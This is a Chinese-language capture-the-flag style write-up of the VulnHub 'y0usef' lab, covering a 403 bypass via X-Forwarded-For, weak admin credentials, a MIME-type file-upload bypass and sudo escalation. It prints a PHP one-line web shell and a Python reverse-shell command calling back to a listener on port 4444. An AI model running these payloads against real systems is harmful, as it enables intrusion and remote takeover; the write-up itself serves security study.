声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
实战打靶系列第 08 篇文章
kali:192.168.195.13
靶机:192.168.195.30
下载地址:
https://download.vulnhub.com/y0usef/y0usef.ova
难度:Easy
主机发现
端口扫描:22,80端口,基本确认思路就是web探测然后ssh连接。
web信息搜集 指纹探测 403 Bypass 文件上传 提权
旁站的方式绕过
覆盖url的方式
ReFerer修改
X打头的代理参数修改
更改后缀名
更改mime类型------>对于相关文件的 :Content-Type
头部
对文件头部完全的替换为另一种文件类型的头部,将恶意代码放在文件其他部分
对目标网站进行指纹信息识别。
遇到 403
禁止访问的时候最好进行 network
抓包查看返回码是否为 403
==进入后台后的思路基本就是寻找上传漏洞==
如何判断什么是base64:
0-9,a-z,A-Z,/+=
很多base64编码的结尾会有一个 =
结尾
在发现后台的登陆界面后我们一般要手动的进行弱口令的猜解,不要直接进行字典的爆破。(看个人习惯吧)
403绕过
文件上传
主机发现和相关服务,版本信息搜集。
访问web网页(没有什么信息)和它的robots.txt文件(不存在),包括我们==查看完源码==后依然没有什么搜获。
使用 whatweb
工具来对该网页进行相关的 ==指纹信息==识别。发现 Bootstrap
开发框架爱等等。==这个必须形成下意识的操作==,即使可能没有什么能立即使用的信息。
选择 dirsearch
进行 web
路径爬取,发现了大量的 403禁止访问
禁止我们进行访问,同时发下 adminstration
是一个重定向的路径,然后我们对该文件进行访问后发现依然是 403
,即使我们通过工作台查看它网络抓包的返回码也是 403
这里非常细节,为确保确实 403
还查看网络抓包。
由于目标网站出现大量的 403
,而且我们也没有其他的什么大的发现所以可以尝试进行 403
绕过。
通过burpsuite
来进行抓包,方便分析。我们通过 X-Forwarded-For
这个参数来进行绕过,我们将其设为 127.0.0.1
相当于我们让靶机认为是它自己在访问自己的网站,从而让我们能够绕过 403
。
然后我们直接在浏览器访问的时候进行数据包的修改来进行成功的访问,发现是个登陆的界面。
然后再对该页面进行 burpsuite
的抓包分析和访问,我们可以进行简单的密码猜解然后来登陆尝试。发现为弱口令用户和密码 admin
admin
。我们可以发现最终进入到后台。
==注意==:在这部操作中的所有数据包都要加上 X-Forwarded-For:127.0.0.1
通过我们进入发现了个 Upload file
这个选项,这不相等与明示我们要进行相关的 ==文件上传==漏洞测试吗? ==记得加上X字段头==
我们自己上传一个 php
的一句话恶意脚本 cchl.php
,但是我们发现了一个问题,我们的上传文件被禁止了。
<?php $var=shell_exec($_GET['cmd']);echo $var?>
所以我进行 文件上传
的检测绕过,通过修改 mime
的类型来进行尝试。及 Content-Type
头部。发现成功的上传,同时可以看到该文件被重命名和它的存放路径。
我们进行访问,同时携带相关的 payload
可以发现成功的回显。证明我的文件上传漏洞利用成功,接下来就是反弹 shell
了。
查看是否有 python
环境,上传的 payload
为 which python
。
上传 payload
,打开本地的 4444
监听。发现成功的突破边界,拿到一个用户的权限。这个网站不加 ==X-Forwarded-For==字段也是可以的。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.121.13",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
浏览 passwd
文件来查看可以使用 shell
的用户,同时对发现的 yousef
用户进行相关目录的浏览发现第一个 flag
。
当我们查看 flag
的时候,我应该具有判断这 flag
可能为 base64
编码的能力,对这个 flag
解密后我们发现很惊喜
这个靶机的提权非常简单,根据上一步的发现。ssh
登陆后,我先进行常规的 id, sudo -l
等信息搜集。
通过 id
发现我们是有 sudo
权限的
通过 sudo -l
我们可以看到我们是可以 secure_path
。通过阅读我们可以明显的发现我们是 ALL:ALL
什么权限都有的
进而 sudo -s
直接切换为 root
用户,然后拿取 flag
但同时我们也发现这个 flag
可以也为 base64
解码后也简单明了,为作者的联系方式。
到处靶机拿下
参考资料:
https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0